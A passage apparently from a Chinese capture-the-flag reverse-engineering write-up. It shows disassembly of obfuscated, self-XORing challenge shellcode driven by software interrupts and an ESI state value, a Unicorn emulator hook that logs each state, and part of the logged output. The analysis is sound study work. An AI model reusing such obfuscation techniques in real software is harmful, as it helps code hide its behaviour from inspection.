[esp+edx*1+0x20]</span><br><span class="line">    11de:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    11e1:       83 c6 01                add    esi, 0x1</span><br><span class="line">    11e4:       83 fe 23                cmp    esi, 0x23</span><br><span class="line">    11e7:       75 eb                   jne    0x11d4</span><br><span class="line">    11e9:       cd 29                   int    0x29</span><br><span class="line">    11eb:       be 58 00 00 00          mov    esi, 0x58</span><br><span class="line">    11f0:       e9 f8 f1 ff ff          jmp    0x3ed</span><br><span class="line">    11f5:       8d 74 24 1a             lea    esi, [esp+0x1a]</span><br><span class="line">    11f9:       b9 06 00 00 00          mov    ecx, 0x6</span><br><span class="line">    11fe:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1203:       89 c8                   mov    eax, ecx</span><br><span class="line">    1205:       99                      cdq</span><br><span class="line">    1206:       f7 ff                   idiv   edi</span><br><span class="line">    1208:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    120d:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    1210:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    1213:       83 f9 0d                cmp    ecx, 0xd</span><br><span class="line">    1216:       75 eb                   jne    0x1203</span><br><span class="line">    1218:       cd 27                   int    0x27</span><br><span class="line">    121a:       be 56 00 00 00          mov    esi, 0x56</span><br><span class="line">    121f:       e9 c9 f1 ff ff          jmp    0x3ed</span><br><span class="line">    1224:       8d 4c 24 f7             lea    ecx, [esp-0x9]</span><br><span class="line">    1228:       be 29 00 00 00          mov    esi, 0x29</span><br><span class="line">    122d:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1232:       89 f0                   mov    eax, esi</span><br><span class="line">    1234:       99                      cdq</span><br><span class="line">    1235:       f7 ff                   idiv   edi</span><br><span class="line">    1237:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    123c:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    123f:       83 c6 01                add    esi, 0x1</span><br><span class="line">    1242:       83 fe 53                cmp    esi, 0x53</span><br><span class="line">    1245:       75 eb                   jne    0x1232</span><br><span class="line">    1247:       cd 20                   int    0x20</span><br><span class="line">    1249:       be 55 00 00 00          mov    esi, 0x55</span><br><span class="line">    124e:       e9 9a f1 ff ff          jmp    0x3ed</span><br><span class="line">    1253:       8d 4c 24 08             lea    ecx, [esp+0x8]</span><br><span class="line">    1257:       be 18 00 00 00          mov    esi, 0x18</span><br><span class="line">    125c:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1261:       89 f0                   mov    eax, esi</span><br><span class="line">    1263:       99                      cdq</span><br><span class="line">    1264:       f7 ff                   idiv   edi</span><br><span class="line">    1266:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    126b:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    126e:       83 c6 01                add    esi, 0x1</span><br><span class="line">    1271:       83 fe 31                cmp    esi, 0x31</span><br><span class="line">    1274:       75 eb                   jne    0x1261</span><br><span class="line">    1276:       cd 1b                   int    0x1b</span><br><span class="line">    1278:       be 62 00 00 00          mov    esi, 0x62</span><br><span class="line">    127d:       e9 6b f1 ff ff          jmp    0x3ed</span><br><span class="line">    1282:       8d 4c 24 0b             lea    ecx, [esp+0xb]</span><br><span class="line">    1286:       be 15 00 00 00          mov    esi, 0x15</span><br><span class="line">    128b:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1290:       89 f0                   mov    eax, esi</span><br><span class="line">    1292:       99                      cdq</span><br><span class="line">    1293:       f7 ff                   idiv   edi</span><br><span class="line">    1295:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    129a:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    129d:       83 c6 01                add    esi, 0x1</span><br><span class="line">    12a0:       83 fe 2b                cmp    esi, 0x2b</span><br><span class="line">    12a3:       75 eb                   jne    0x1290</span><br><span class="line">    12a5:       cd 40                   int    0x40</span><br><span class="line">    12a7:       be 2d 00 00 00          mov    esi, 0x2d</span><br><span class="line">    12ac:       e9 3c f1 ff ff          jmp    0x3ed</span><br><span class="line">    12b1:       8d 4c 24 13             lea    ecx, [esp+0x13]</span><br><span class="line">    12b5:       be 0d 00 00 00          mov    esi, 0xd</span><br><span class="line">    12ba:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    12bf:       89 f0                   mov    eax, esi</span><br><span class="line">    12c1:       99                      cdq</span><br><span class="line">    12c2:       f7 ff                   idiv   edi</span><br><span class="line">    12c4:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    12c9:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    12cc:       83 c6 01                add    esi, 0x1</span><br><span class="line">    12cf:       83 fe 1b                cmp    esi, 0x1b</span><br><span class="line">    12d2:       75 eb                   jne    0x12bf</span><br><span class="line">    12d4:       cd 4e                   int    0x4e</span><br><span class="line">    12d6:       be 35 00 00 00          mov    esi, 0x35</span><br><span class="line">    12db:       e9 0d f1 ff ff          jmp    0x3ed</span><br><span class="line">    12e0:       b9 20 00 00 00          mov    ecx, 0x20</span><br><span class="line">    12e5:       89 e6                   mov    esi, esp</span><br><span class="line">    12e7:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    12ec:       89 c8                   mov    eax, ecx</span><br><span class="line">    12ee:       99                      cdq</span><br><span class="line">    12ef:       f7 ff                   idiv   edi</span><br><span class="line">    12f1:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    12f6:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    12f9:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    12fc:       83 f9 41                cmp    ecx, 0x41</span><br><span class="line">    12ff:       75 eb                   jne    0x12ec</span><br><span class="line">    1301:       cd 0d                   int    0xd</span><br><span class="line">    1303:       be 39 00 00 00          mov    esi, 0x39</span><br><span class="line">    1308:       e9 e0 f0 ff ff          jmp    0x3ed</span><br><span class="line">    130d:       8d 74 24 06             lea    esi, [esp+0x6]</span><br><span class="line">    1311:       b9 1a 00 00 00          mov    ecx, 0x1a</span><br><span class="line">    1316:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    131b:       89 c8                   mov    eax, ecx</span><br><span class="line">    131d:       99                      cdq</span><br><span class="line">    131e:       f7 ff                   idiv   edi</span><br><span class="line">    1320:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    1325:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    1328:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    132b:       83 f9 35                cmp    ecx, 0x35</span><br><span class="line">    132e:       75 eb                   jne    0x131b</span><br><span class="line">    1330:       cd 41                   int    0x41</span><br><span class="line">    1332:       be 5f 00 00 00          mov    esi, 0x5f</span><br><span class="line">    1337:       e9 b1 f0 ff ff          jmp    0x3ed</span><br><span class="line">    133c:       8d 4c 24 08             lea    ecx, [esp+0x8]</span><br><span class="line">    1340:       be 18 00 00 00          mov    esi, 0x18</span><br><span class="line">    1345:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    134a:       89 f0                   mov    eax, esi</span><br><span class="line">    134c:       99                      cdq</span><br><span class="line">    134d:       f7 ff                   idiv   edi</span><br><span class="line">    134f:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    1354:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    1357:       83 c6 01                add    esi, 0x1</span><br><span class="line">    135a:       83 fe 31                cmp    esi, 0x31</span><br><span class="line">    135d:       75 eb                   jne    0x134a</span><br><span class="line">    135f:       cd 1e                   int    0x1e</span><br><span class="line">    1361:       be 42 00 00 00          mov    esi, 0x42</span><br><span class="line">    1366:       e9 82 f0 ff ff          jmp    0x3ed</span><br><span class="line">    136b:       8d 74 24 03             lea    esi, [esp+0x3]</span><br><span class="line">    136f:       b9 1d 00 00 00          mov    ecx, 0x1d</span><br><span class="line">    1374:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1379:       89 c8                   mov    eax, ecx</span><br><span class="line">    137b:       99                      cdq</span><br><span class="line">    137c:       f7 ff                   idiv   edi</span><br><span class="line">    137e:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    1383:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    1386:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    1389:       83 f9 3b                cmp    ecx, 0x3b</span><br><span class="line">    138c:       75 eb                   jne    0x1379</span><br><span class="line">    138e:       cd 55                   int    0x55</span><br><span class="line">    1390:       be 32 00 00 00          mov    esi, 0x32</span><br><span class="line">    1395:       e9 53 f0 ff ff          jmp    0x3ed</span><br><span class="line">    139a:       8d 74 24 17             lea    esi, [esp+0x17]</span><br><span class="line">    139e:       b9 09 00 00 00          mov    ecx, 0x9</span><br><span class="line">    13a3:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    13a8:       89 c8                   mov    eax, ecx</span><br><span class="line">    13aa:       99                      cdq</span><br><span class="line">    13ab:       f7 ff                   idiv   edi</span><br><span class="line">    13ad:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    13b2:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    13b5:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    13b8:       83 f9 13                cmp    ecx, 0x13</span><br><span class="line">    13bb:       75 eb                   jne    0x13a8</span><br><span class="line">    13bd:       cd 5f                   int    0x5f</span><br><span class="line">    13bf:       be 2b 00 00 00          mov    esi, 0x2b</span><br><span class="line">    13c4:       e9 24 f0 ff ff          jmp    0x3ed</span><br><span class="line">    13c9:       8d 74 24 1a             lea    esi, [esp+0x1a]</span><br><span class="line">    13cd:       b9 06 00 00 00          mov    ecx, 0x6</span><br><span class="line">    13d2:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    13d7:       89 c8                   mov    eax, ecx</span><br><span class="line">    13d9:       99                      cdq</span><br><span class="line">    13da:       f7 ff                   idiv   edi</span><br><span class="line">    13dc:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    13e1:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    13e4:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    13e7:       83 f9 0d                cmp    ecx, 0xd</span><br><span class="line">    13ea:       75 eb                   jne    0x13d7</span><br><span class="line">    13ec:       cd 32                   int    0x32</span><br><span class="line">    13ee:       be 06 00 00 00          mov    esi, 0x6</span><br><span class="line">    13f3:       e9 f5 ef ff ff          jmp    0x3ed</span><br><span class="line">    13f8:       8d 4c 24 f8             lea    ecx, [esp-0x8]</span><br><span class="line">    13fc:       be 28 00 00 00          mov    esi, 0x28</span><br><span class="line">    1401:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1406:       89 f0                   mov    eax, esi</span><br><span class="line">    1408:       99                      cdq</span><br><span class="line">    1409:       f7 ff                   idiv   edi</span><br><span class="line">    140b:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    1410:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    1413:       83 c6 01                add    esi, 0x1</span><br><span class="line">    1416:       83 fe 51                cmp    esi, 0x51</span><br><span class="line">    1419:       75 eb                   jne    0x1406</span><br><span class="line">    141b:       cd 61                   int    0x61</span><br><span class="line">    141d:       be 27 00 00 00          mov    esi, 0x27</span><br><span class="line">    1422:       e9 c6 ef ff ff          jmp    0x3ed</span><br><span class="line">    1427:       b9 20 00 00 00          mov    ecx, 0x20</span><br><span class="line">    142c:       89 e6                   mov    esi, esp</span><br><span class="line">    142e:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1433:       89 c8                   mov    eax, ecx</span><br><span class="line">    1435:       99                      cdq</span><br><span class="line">    1436:       f7 ff                   idiv   edi</span><br><span class="line">    1438:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    143d:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    1440:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    1443:       83 f9 41                cmp    ecx, 0x41</span><br><span class="line">    1446:       75 eb                   jne    0x1433</span><br><span class="line">    1448:       cd 10                   int    0x10</span><br><span class="line">    144a:       be 5d 00 00 00          mov    esi, 0x5d</span><br><span class="line">    144f:       e9 99 ef ff ff          jmp    0x3ed</span><br><span class="line">    1454:       8d 74 24 f5             lea    esi, [esp-0xb]</span><br><span class="line">    1458:       b9 2b 00 00 00          mov    ecx, 0x2b</span><br><span class="line">    145d:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1462:       89 c8                   mov    eax, ecx</span><br><span class="line">    1464:       99                      cdq</span><br><span class="line">    1465:       f7 ff                   idiv   edi</span><br><span class="line">    1467:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    146c:       30 04 0e                xor    BYTE PTR [esi+ecx*1], al</span><br><span class="line">    146f:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    1472:       83 f9 57                cmp    ecx, 0x57</span><br><span class="line">    1475:       75 eb                   jne    0x1462</span><br><span class="line">    1477:       cd 38                   int    0x38</span><br><span class="line">    1479:       be 31 00 00 00          mov    esi, 0x31</span><br><span class="line">    147e:       e9 6a ef ff ff          jmp    0x3ed</span><br><span class="line">    1483:       8d 4c 24 08             lea    ecx, [esp+0x8]</span><br><span class="line">    1487:       be 18 00 00 00          mov    esi, 0x18</span><br><span class="line">    148c:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1491:       89 f0                   mov    eax, esi</span><br><span class="line">    1493:       99                      cdq</span><br><span class="line">    1494:       f7 ff                   idiv   edi</span><br><span class="line">    1496:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    149b:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    149e:       83 c6 01                add    esi, 0x1</span><br><span class="line">    14a1:       83 fe 31                cmp    esi, 0x31</span><br><span class="line">    14a4:       75 eb                   jne    0x1491</span><br><span class="line">    14a6:       cd 36                   int    0x36</span><br><span class="line">    14a8:       be 23 00 00 00          mov    esi, 0x23</span><br><span class="line">    14ad:       e9 3b ef ff ff          jmp    0x3ed</span><br><span class="line">    14b2:       b9 17 00 00 00          mov    ecx, 0x17</span><br><span class="line">    14b7:       be 2f 00 00 00          mov    esi, 0x2f</span><br><span class="line">    14bc:       89 c8                   mov    eax, ecx</span><br><span class="line">    14be:       99                      cdq</span><br><span class="line">    14bf:       f7 fe                   idiv   esi</span><br><span class="line">    14c1:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    14c6:       30 44 0c 09             xor    BYTE PTR [esp+ecx*1+0x9], al</span><br><span class="line">    14ca:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    14cd:       83 f9 2f                cmp    ecx, 0x2f</span><br><span class="line">    14d0:       75 ea                   jne    0x14bc</span><br><span class="line">    14d2:       cd 21                   int    0x21</span><br><span class="line">    14d4:       be 4f 00 00 00          mov    esi, 0x4f</span><br><span class="line">    14d9:       e9 0f ef ff ff          jmp    0x3ed</span><br><span class="line">    14de:       8d 4c 24 08             lea    ecx, [esp+0x8]</span><br><span class="line">    14e2:       be 18 00 00 00          mov    esi, 0x18</span><br><span class="line">    14e7:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    14ec:       89 f0                   mov    eax, esi</span><br><span class="line">    14ee:       99                      cdq</span><br><span class="line">    14ef:       f7 ff                   idiv   edi</span><br><span class="line">    14f1:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    14f6:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    14f9:       83 c6 01                add    esi, 0x1</span><br><span class="line">    14fc:       83 fe 31                cmp    esi, 0x31</span><br><span class="line">    14ff:       75 eb                   jne    0x14ec</span><br><span class="line">    1501:       cd 4a                   int    0x4a</span><br><span class="line">    1503:       be 34 00 00 00          mov    esi, 0x34</span><br><span class="line">    1508:       e9 e0 ee ff ff          jmp    0x3ed</span><br><span class="line">    150d:       8d 4c 24 1e             lea    ecx, [esp+0x1e]</span><br><span class="line">    1511:       be 02 00 00 00          mov    esi, 0x2</span><br><span class="line">    1516:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    151b:       89 f0                   mov    eax, esi</span><br><span class="line">    151d:       99                      cdq</span><br><span class="line">    151e:       f7 ff                   idiv   edi</span><br><span class="line">    1520:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    1525:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    1528:       83 c6 01                add    esi, 0x1</span><br><span class="line">    152b:       83 fe 05                cmp    esi, 0x5</span><br><span class="line">    152e:       75 eb                   jne    0x151b</span><br><span class="line">    1530:       cd 2a                   int    0x2a</span><br><span class="line">    1532:       be 19 00 00 00          mov    esi, 0x19</span><br><span class="line">    1537:       e9 b1 ee ff ff          jmp    0x3ed</span><br><span class="line">    153c:       8d 4c 24 0f             lea    ecx, [esp+0xf]</span><br><span class="line">    1540:       be 11 00 00 00          mov    esi, 0x11</span><br><span class="line">    1545:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    154a:       89 f0                   mov    eax, esi</span><br><span class="line">    154c:       99                      cdq</span><br><span class="line">    154d:       f7 ff                   idiv   edi</span><br><span class="line">    154f:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    1554:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    1557:       83 c6 01                add    esi, 0x1</span><br><span class="line">    155a:       83 fe 23                cmp    esi, 0x23</span><br><span class="line">    155d:       75 eb                   jne    0x154a</span><br><span class="line">    155f:       cd 47                   int    0x47</span><br><span class="line">    1561:       be 08 00 00 00          mov    esi, 0x8</span><br><span class="line">    1566:       e9 82 ee ff ff          jmp    0x3ed</span><br><span class="line">    156b:       b9 0f 00 00 00          mov    ecx, 0xf</span><br><span class="line">    1570:       be 2f 00 00 00          mov    esi, 0x2f</span><br><span class="line">    1575:       89 c8                   mov    eax, ecx</span><br><span class="line">    1577:       99                      cdq</span><br><span class="line">    1578:       f7 fe                   idiv   esi</span><br><span class="line">    157a:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    157f:       30 44 0c 11             xor    BYTE PTR [esp+ecx*1+0x11], al</span><br><span class="line">    1583:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    1586:       83 f9 1f                cmp    ecx, 0x1f</span><br><span class="line">    1589:       75 ea                   jne    0x1575</span><br><span class="line">    158b:       cd 3e                   int    0x3e</span><br><span class="line">    158d:       be 15 00 00 00          mov    esi, 0x15</span><br><span class="line">    1592:       e9 56 ee ff ff          jmp    0x3ed</span><br><span class="line">    1597:       b9 19 00 00 00          mov    ecx, 0x19</span><br><span class="line">    159c:       be 2f 00 00 00          mov    esi, 0x2f</span><br><span class="line">    15a1:       89 c8                   mov    eax, ecx</span><br><span class="line">    15a3:       99                      cdq</span><br><span class="line">    15a4:       f7 fe                   idiv   esi</span><br><span class="line">    15a6:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    15ab:       30 44 0c 07             xor    BYTE PTR [esp+ecx*1+0x7], al</span><br><span class="line">    15af:       83 c1 01                add    ecx, 0x1</span><br><span class="line">    15b2:       83 f9 33                cmp    ecx, 0x33</span><br><span class="line">    15b5:       75 ea                   jne    0x15a1</span><br><span class="line">    15b7:       cd 1d                   int    0x1d</span><br><span class="line">    15b9:       be 03 00 00 00          mov    esi, 0x3</span><br><span class="line">    15be:       e9 2a ee ff ff          jmp    0x3ed</span><br><span class="line">    15c3:       8d 4c 24 12             lea    ecx, [esp+0x12]</span><br><span class="line">    15c7:       be 0e 00 00 00          mov    esi, 0xe</span><br><span class="line">    15cc:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    15d1:       89 f0                   mov    eax, esi</span><br><span class="line">    15d3:       99                      cdq</span><br><span class="line">    15d4:       f7 ff                   idiv   edi</span><br><span class="line">    15d6:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    15db:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    15de:       83 c6 01                add    esi, 0x1</span><br><span class="line">    15e1:       83 fe 1d                cmp    esi, 0x1d</span><br><span class="line">    15e4:       75 eb                   jne    0x15d1</span><br><span class="line">    15e6:       cd 2e                   int    0x2e</span><br><span class="line">    15e8:       be 61 00 00 00          mov    esi, 0x61</span><br><span class="line">    15ed:       e9 fb ed ff ff          jmp    0x3ed</span><br><span class="line">    15f2:       8d 4c 24 1e             lea    ecx, [esp+0x1e]</span><br><span class="line">    15f6:       be 02 00 00 00          mov    esi, 0x2</span><br><span class="line">    15fb:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    1600:       89 f0                   mov    eax, esi</span><br><span class="line">    1602:       99                      cdq</span><br><span class="line">    1603:       f7 ff                   idiv   edi</span><br><span class="line">    1605:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    160a:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    160d:       83 c6 01                add    esi, 0x1</span><br><span class="line">    1610:       83 fe 05                cmp    esi, 0x5</span><br><span class="line">    1613:       75 eb                   jne    0x1600</span><br><span class="line">    1615:       cd 11                   int    0x11</span><br><span class="line">    1617:       be 1c 00 00 00          mov    esi, 0x1c</span><br><span class="line">    161c:       e9 cc ed ff ff          jmp    0x3ed</span><br><span class="line">    1621:       8d 4c 24 0b             lea    ecx, [esp+0xb]</span><br><span class="line">    1625:       be 15 00 00 00          mov    esi, 0x15</span><br><span class="line">    162a:       bf 2f 00 00 00          mov    edi, 0x2f</span><br><span class="line">    162f:       89 f0                   mov    eax, esi</span><br><span class="line">    1631:       99                      cdq</span><br><span class="line">    1632:       f7 ff                   idiv   edi</span><br><span class="line">    1634:       0f b6 44 14 20          movzx  eax, BYTE PTR [esp+edx*1+0x20]</span><br><span class="line">    1639:       30 04 31                xor    BYTE PTR [ecx+esi*1], al</span><br><span class="line">    163c:       83 c6 01                add    esi, 0x1</span><br><span class="line">    163f:       83 fe 2b                cmp    esi, 0x2b</span><br><span class="line">    1642:       75 eb                   jne    0x162f</span><br><span class="line">    1644:       cd 3f                   int    0x3f</span><br><span class="line">    1646:       be 22 00 00 00          mov    esi, 0x22</span><br><span class="line">    164b:       e9                      .byte 0xe9</span><br><span class="line">    ```</span><br><span class="line"></span><br><span class="line">主要可以知道的是shellcode 會根據ESI的狀態跳到對應的地方並且進行區間跟自己的xor</span><br><span class="line"></span><br><span class="line">因此我們需要先抓所有eip所變化的所有狀態</span><br><span class="line"></span><br><span class="line">```python</span><br><span class="line">def hook_exception(uc, exception_type, user_data):</span><br><span class="line">    global ck,cmp_collet</span><br><span class="line">    if ck == 1 and exception_type == 0x2d:</span><br><span class="line">        #uc.emu_stop()</span><br><span class="line">        return 0</span><br><span class="line">    if exception_type == 0x2d:</span><br><span class="line">        ck = 1</span><br><span class="line"></span><br><span class="line">    EIP = ADDRESS_CODE</span><br><span class="line">    ESI = exception_type</span><br><span class="line">    print(f&quot;[STATE] ESI ← 0x&#123;exception_type:02X&#125;&quot;)</span><br><span class="line">    cmp_collet=False</span><br><span class="line">    uc.reg_write(UC_X86_REG_EIP, EIP)</span><br><span class="line">    uc.reg_write(UC_X86_REG_ESI, ESI)</span><br><span class="line">    return 0</span><br></pre></td></tr></table></figure><p>先把ESI的每個狀態輸出出來</p><figure class="highlight angelscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x61</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x10</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x37</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x1F</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x31</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x13</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x56</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x54</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x2D</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x36</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x12</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x40</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x0E</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x39</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x0F</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x03</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x27</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x18</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x58</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x3B</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x55</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x48</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x0A</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x1C</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x1B</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x2F</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x5C</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x20</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x2B</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x50</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x44</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x2E</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x1D</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x5E</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x21</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x47</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x17</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x01</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x52</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x3F</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x16</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span class="number">0x4C</span></span><br><span class="line"><span class="string">[STATE]</span> ESI ← <span 